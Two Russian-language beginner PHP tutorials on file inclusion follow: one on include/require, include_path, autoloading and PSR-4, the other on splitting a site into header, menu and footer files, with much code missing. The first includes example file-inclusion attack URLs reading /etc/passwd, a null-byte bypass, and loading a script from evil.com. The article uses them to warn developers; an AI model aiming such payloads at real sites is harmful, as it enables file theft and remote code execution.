PHP для начинающих. Подключение файлов // PHP
В продолжении серии “PHP для начинающих”, сегодняшняя статья будет посвящена тому, как PHP ищет и подключает файлы.
Для чего и почему
PHP это скриптовый язык, созданный изначально для быстрого ваяния домашних страничек (да, да изначально это же Personal Home Page Tools), а в дальнейшем на нём уже стали создавать магазины, социалки и другие поделки на коленке которые выходят за рамки задуманного, но к чему это я – а к тому, что чем больше функционала закодировано, тем больше желание его правильно структурировать, избавиться от дублирования кода, разбить на логические кусочки и подключать лишь при необходимости (это тоже самое чувство, которое возникло у вас, когда вы читали это предложение, его можно было бы разбить на отдельные кусочки). Для этой цели в PHP есть несколько функции, общий смысл которых сводится к подключению и интерпретации указанного файла. Давайте рассмотрим на примере подключения файлов:
// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a;
Если запустить скрипт index.php, то PHP всё это будет последовательно подключать и выполнять:
$a = 0; $a++; $a++; echo $a; // выведет 2
Когда файл подключается, то его код оказывается в той же области видимости, что и строка в которой его подключили, таким образом все переменные, доступные в данной строке будут доступны и в подключаемом файле. Если в подключаемом файле были объявлены классы или функции, то они попадают в глобальную область видимости (если конечно для них не был указан namespace).
Если вы подключаете файл внутри функции, то подключаемые файлы получают доступ к области видимости функции, таким образом следующий код тоже будет работать:
function a() < $a = 0; include ('increment.php'); include ('increment.php'); echo $a; >a(); // выведет 2
Отдельно отмечу магические константы: __DIR__ , __FILE__ , __LINE__ и прочие – они привязаны к контексту и выполняются до того, как происходит включение
Особенностью подключения файлов является тот момент, что при подключении файла парсинг переключается в режим HTML, по этой причине любой код внутри включаемого файла должен быть заключен в PHP теги:
А вы видели сайт-файл на 10 000 строк? Аж слёзы на глазах…
Функции подключения файлов
Как уже было сказано выше, в PHP существует несколько функции для подключения файлов:
- include – включает и выполняет указанный файл, если не находит – выдаёт предупреждение E_WARNING
- include_once – аналогично функции выше, но включает файл единожды
- require – включает и выполняет указанный файл, если не находит – выдаёт фатальную ошибку E_ERROR
- require_once – аналогично функции выше, но включает файл единожды
В действительности, это не совсем функции, это специальные языковые конструкции, и можно круглые скобочки не использовать. Кроме всего прочего есть и другие способы подключения и выполнения файлов, но это уже сами копайте, пусть это будет для вас “задание со звёздочкой” 😉
Давайте разберём на примерах различия между require и require_once , возьмём один файл echo.php:
text of file echo.php
И будем его подключать несколько раз:
Результатом выполнения будет два подключения нашего файла:
text of file echo.php
text of file echo.php
Существует ещё парочка директив, которые влияют на подключение, но они вам не потребуются – auto_prepend_file и auto_append_file – они позволяют установить файлы которые будут подключены до подключения всех файлов и после выполнения всех скриптов соответственно, я даже не могу придумать живой сценарий, когда это может потребоваться.
Задание
Таки придумать и реализовать сценарий по использованию директив auto_prepend_file и auto_append_file , менять их можно только в php.ini, .htaccess или httpd.conf (см. PHP_INI_PERDIR) 🙂
Где ищет?
PHP ищет подключаемые файлы в директориях прописанных в директиве include_path. Эта директива также влияет на работу функций fopen() , file() , readfile() и file_get_contents() . Алгоритм работы достаточно простой – при поиске файлов PHP по очереди проверяет каждую директорию из include_path , пока не найдет подключаемый файл, если не найдёт – вернёт ошибку. Для изменения include_path из скрипта следует использовать функцию set_include_path().
При настройке include_path следует учитывать один важный момент – в качестве разделителя путей в Windows и Linux используются различные символы – “;” и “:” соответственно, так что при указании своей директории используйте константу PATH_SEPARATOR , например:
// пример пути в linux $path = '/home/dev/library'; // пример пути в windows $path = 'c:\Users\Dev\Library'; // для linux и windows код изменение include_path идентичный set_include_path(get_include_path() . PATH_SEPARATOR . $path);
Когда вы прописываете include_path в ini файле, то можете использовать переменные окружения типа $ :
include_path = ".:$/my-php-library"
Если при подключении файла вы прописываете абсолютный путь (начинающийся с “/”) или относительный (начинающийся с “.” или “..”), то директива include_path будет проигнорирована, а поиск будет осуществлён только по указанному пути.
Возможно стоило бы рассказать и про safe_mode, но это уже давно история (с версии 5.4), и я надеюсь вы сталкиваться с ним не будете, но если вдруг, то чтобы знали, что такое было, но прошло
Использование return
Расскажу о небольшом life-hack’е – если подключаемый файл возвращает что-либо с использованием конструкции return , то эти данные можно получить и использовать, таким образом можно легко организовать подключение файлов конфигурации, приведу пример для наглядности:
return array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' );
$dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */
Занимательные факты, без которых жилось и так хорошо: если во включаемом файле определены функции, то они могут быть использованы в основном файле вне зависимости от того, были ли они объявлены до return или после
Задание
Написать код, который будет собирать конфигурацию из нескольких папок и файлов. Структура файлов следующая:
config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php
При этом код должен работать следующим образом:
- если в системном окружении есть переменная PROJECT_PHP_SERVER и она равна development , то должны быть подключены все файлы из папки default, данные занесены в перемененную $config , затем подключены файлы из папки development, а полученные данные должны перетереть соответствующие пункты сохраненные в $config
- аналогичное поведение если PROJECT_PHP_SERVER равна production (естественно только для папки production)
- если переменной нет, или она задана неверно, то подключаются только файлы из папки default
Автоматическое подключение
Конструкции с подключением файлов выглядят очень громоздко, так и ещё и следить за их обновлением – ещё тот подарочек, зацените кусочек кода из примера статьи про исключения:
// load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php';
Чтобы избежать подобного “счастья” была придумана функция __autoload – с её помощью можно подключать необходимые нам файлы по имени класса, но лишь при одном условии – для каждого класса создан отдельный файл по имени класса. Вот пример реализации функции __autoload() (пример из комментариев в мануале):
Класс который будем подключать:
// класс myClass в отдельном файле myClass.php class myClass < public function __construct() < echo "myClass init'ed successfuly. "; >>
Файл, который подключает данный класс:
// пример реализации // ищем файлы в текущей директории function __autoload($classname) < $filename = $classname .".php"; include_once($filename); >// создаём класс $obj = new myClass();
Теперь о проблемах с данной функцией – представьте на минуточку ситуацию, что вы подключаете сторонний код, а там уже кто-то прописал функцию __autoload() для своего кода, и вуаля:
Fatal error: Cannot redeclare __autoload()
Чтобы такого не было, создали функцию, которая позволяет регистрировать произвольную функцию или метод в качестве загрузчика классов – spl_autoload_register, теперь index.php будет выглядеть следующим образом:
// пример реализации // ищем файлы в текущей директории function myAutoload($classname) < $filename = $classname .".php"; include_once($filename); >// регистрируем загрузчик spl_autoload_register('myAutoload'); // создаём класс $obj = new myClass();
Рубрика “а вы знали?”: первый параметр spl_autoload_register() не является обязательным, и вызвав функцию без него, в качестве загрузчика будет использоваться функция spl_autoload, поиск будет осуществлён по папкам из include_path и файлам с расширением .php и .inc , но этот список можно расширить с помощью функции spl_autoload_extensions
Теперь каждый разработчик может регистрировать свой загрузчик, главное чтобы имена классов не совпадали, но это не должно стать проблемой, если вы используете пространства имён.
Поскольку уже давно существует такой продвинутый функционал как spl_autoload_register() , то функцию __autoload() хотят заявить как deprecated в PHP 7.1, а это значит, что в 7.2 её и вовсе может не быть
Ну более-менее картина прояснилась, хотя погодите, все зарегистрированные загрузчики становятся в очередь, по мере их регистрации, соответственно если кто-то нахимичил в своё загрузчике, то вместо ожидаемого результата может получится очень неприятный баг. Чтобы такого не было, взрослые умные дядьки описали стандарт, который позволяет подключать сторонние библиотеки без проблем, главное чтобы организация классов в них соответствовала стандарту PSR-0 (уже устарел) или PSR-4. В чём суть требований описанных в стандартах:
- Каждая библиотека должна жить в собственном пространстве имён (т.н. vendor namespace)
- Для каждого пространства имён должна быть создана собственная папка
- Внутри пространства имён могут быть свои подпространства – тоже в отдельных папках
- Один класс – один файл
- Имя файла с расширением .php должно точно соответствовать имени класса
Пример из мануала:
| Полное имя класса | Пространство имён | Базовая директория | Полный путь |
|---|---|---|---|
| \Acme\Log\Writer\File_Writer | Acme\Log\Writer | ./acme-log-writer/lib/ | ./acme-log-writer/lib/File_Writer.php |
| \Aura\Web\Response\Status | Aura\Web | /path/to/aura-web/src/ | /path/to/aura-web/src/Response/Status.php |
| \Symfony\Core\Request | Symfony\Core | ./vendor/Symfony/Core/ | ./vendor/Symfony/Core/Request.php |
| \Zend\Acl | Zend | /usr/includes/Zend/ | /usr/includes/Zend/Acl.php |
Различия этих двух стандартов, лишь в том, что PSR-0 поддерживает старый код без пространства имён, а PSR-4 избавлен от этого анахронизма, да ещё и позволяет избежать ненужной вложенности папок.
Благодаря этим стандартам стало возможно появление такого инструмента как composer – универсального менеджера пакетов для PHP:
PHP-инъекция
Ещё хотел рассказать о первой ошибки всех, кто делает единую точку входа для сайта в одном index.php и называет это MVC-фреймворком:
Смотришь на код, и так и хочется чего-нить вредоносного туда передать:
// получить неожиданное поведение системы http://domain.com/index.php?page=../index.php // прочитать файлы в директории сервера http://domain.com/index.php?page=config.ini // прочитать системные файлы http://domain.com/index.php?page=/etc/passwd // запустить файлы, которые мы заранее залили на сервер http://domain.com/index.php?page=user/backdoor.php
Первое, что приходит на ум – принудительно добавлять расширение .php , но в ряде случаев это можно обойти “благодаря” уязвимости нулевого байта (почитайте, эту уязвимость уже давно исправили, но вдруг вам попадётся интерпретатор более древний, чем PHP 5.3, ну и для общего развития тоже рекомендую):
// прочитать системные файлы http://domain.com/index.php?page=/etc/passwd%00
В современных версиях PHP наличие символа нулевого байта в пути подключаемого файла сразу приводит к соответствующей ошибке подключения, и даже если указанный файл существует и его можно подключить, то в результате всегда будет ошибка, проверяется это следующим образом strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (это из недров самого PHP)
Так же существует “чудесная” директива allow_url_include (у неё зависимость от allow_url_fopen), она позволяет подключать и выполнять удаленный PHP файлы, что куда как опасней для вашего сервера:
// подключаем удалённый PHP скрипт http://domain.com/index.php?page=http://evil.com/index.php
Увидели, запомнили, и никогда не пользуйтесь, благо по умолчанию выключено. Данная возможность вам потребуется чуть реже, чем никогда, во всех остальных случаях закладывайте правильную архитектуру приложения, где различные части приложения общаются посредством API.
Задание
Написать скрипт, который позволит подключать php-скрипты из текущей папки по названию, при этом следуют помнить о возможных уязвимостях и не допустить промашек.
В заключение
Данная статья – основа-основ в PHP, так что изучайте внимательно, выполняйте задания и не филоньте, за вас никто учить не будет.
Информация
- jQuery для начинающих
- jQuery для всех
- PHP для всех
Проекты
- Charts Builder
- Photo Blog
- Syntax Highlighter
Блогролл
- NIX Solutions Ltd.
- Мысли с самого низа
- Прохождение игр
© Антон Шевчук 2007-2023
Как подключить php файл к html
Пока я творю, я живу!
Блог посвящен: HTML, CSS, PHP, WordPress, Bootstrap
![]()
![]()
![]()
![]()
![]()
![]()
Главная » Основы PHP » Подключение файлов php через Include или Require. Основы PHP с нуля. Урок №17

Подключение файлов php через Include или Require. Основы PHP с нуля. Урок №17
Всем привет!
Продолжаем изучать основы PHP с нуля!
В этом уроке я расскажу вам, как подключить файл в php.
Зачем нужно подключать файл в php?
Минутку внимания, сейчас все узнаете.
Помните наш предыдущий урок №16, где я рассказывал о функции php?
Так вот, вы можете создать файл, например « function.php » и вписать туда все функции, которые вам нужно будет использовать для сайта. Останется только подключить файл « function.php » на странице сайта и все. Это удобно, а также нет на главной странице сайта кучу лишнего кода.
Наведу еще один пример, где можно использовать подключение внешних файлов php.
Например, у вас есть сайт из 100 страниц, который состоит из шапки, меню, контента и футера.
И вам вдруг нужно добавить в меню еще один раздел. Представьте: для этого нужно открыть 100 файлов, чтобы сделать исправление.
Но можно всего этого избежать, если создать отдельно файл, например, « menu.php » и подключить его к вашему сайту там, где должно быть меню. И после это, если вы сделаете исправление только в одном файле « menu.php », замена произойдет на остальных 100 страницах сайта автоматически. Таким способом вы можете подключить шапку сайта, футер и т.д. Удобно, не правда ли?
Я думаю, в конце этой статьи я покажу на примере, как это организовать.
Итак, чтобы подключить внешние файлы php, существуют две основные конструкции включений: require и include .
Конструкция включений include
Конструкция include позволяет включать файлы в код PHP скрипта во время выполнения сценария.
Синтаксис конструкции include:
Создайте файл « function.php » вот таким кодом:
Теперь в файле « index.php » попробуем подключить файл « function.php » (строка №2):
Внимание: бывают такие случаи, что вы можете забыть и попытаетесь подключить файл « function.php » еще раз (строка№2, №3):
В итоге может возникнуть фатальная ошибка или может вывестись еще раз содержимое файла. В моем случае будет ошибка:
Fatal error: Cannot redeclare Sreturn() (previously declared in O:\home\localhost\www\php\function.php:2) in O:\home\localhost\www\php\function.php on line 5
Если саму функцию убрать, а прописать текст (файл « function.php »):

Ну и, естественно, в файле « index.php » тоже уберите вывод функции:

то результат просто повторится.
Чтобы не допустить таких ошибок и исключить повторное подключение файла, вместо инструкции « include » надо применять инструкцию « include_once ».
конструкции « include_once»
Синтаксис конструкции « include_once »:
Пример (строка №2, №3):
Хоть и два подключения, но файл будет подключен только один раз, то есть, подключение будет проигнорировано, так как файл уже подключен.
Конструкция включений require
Конструкция require позволяет включать файлы в сценарий PHP до исполнения сценария PHP.
Синтаксис конструкции «require»:
Если у нас в коде встретятся несколько инструкций require , которые подключают один и тот же файл, то интерпретатор выдаст ошибку. Чтобы избежать данной ситуации, надо использовать инструкцию « require_once »:
конструкции «require_once»
Внимания: если подключить несуществующий файл через « include », « include_once », « require » или « require_once », то в результате будет ошибка:
Warning: include_once(function1.php) [function.include-once]: failed to open stream: No such file or directory in O:\home\localhost\www\php\index.php on line 2
Теперь, как я и обещал, покажу, как на сайте подключить меню, шапку и футер сайта. Возьму для примера уже готовый сайт, тот, что мы с вами делали, когда изучали основы HTML.
Разобьем этот сайт на такие файлы:

Итак, создайте папку «Experiment» на локальном сервере (или на хостинге). Там будет новый сайт для эксперимента.
В папке « Experiment » создайте еще одну папку под названием « include ». Как вы поняли, в папке « include » будут храниться файлы для подключения (« menu.php », « heder.php » и « footer.php »).
Теперь зайдите в папку « include » и создайте там файл « menu.php » вот с таким кодом:
ГЛАВНАЯ ОБО МНЕ УСЛУГИ ОБРАТНАЯ СВЯЗЬ
Создайте еще один файл под названием « heder.php » и вставьте вот такой код:
StepkinBLOG.RU
обучение основам HTML
Создайте еще один файл под названием « footer.php » и вставьте вот такой код:
StepkinBLOG.RU © 2016
Теперь выходим из папки «include» и создаем главный файл « index.ph p»
( внимание: не « index. html », а именно « index. php » ) вот с таким кодом:
Практика по основам HTML на StepkinBlog.ru
ГЛАВНАЯ ОБО МНЕ УСЛУГИ ОБРАТНАЯ СВЯЗЬ -->--> StepkinBLOG.RU
обучение основам HTML
ГЛАВНАЯ
Здесь будет текст для главной страницы
StepkinBLOG.RU © 2016 -->
Подключение файлов я сделал в строках №19, №32, №38.
Обратите внимания, что я просто закомментировал участки кода, которые выводятся через « include_once », просто для понимания, а так комментарии можно убрать, код сократится и файл станет легче:
Практика по основам HTML на StepkinBlog.ru
ГЛАВНАЯ
Здесь будет текст для главной страницы
Теперь дублируйте этот код для остальных файлов « obo-mne.php », « uslugi.php », « obratnaja-svjaz.php », только меняя текст заголовка и самого контента.
Вот и все, смотрите и проверяйте.
Для полного счастья (чтобы отображались картинки) не забудьте создать папку « image » с картинками.
Подписывайтесь на обновление блога, чтобы не пропустить вкусных уроков по основам PHP.
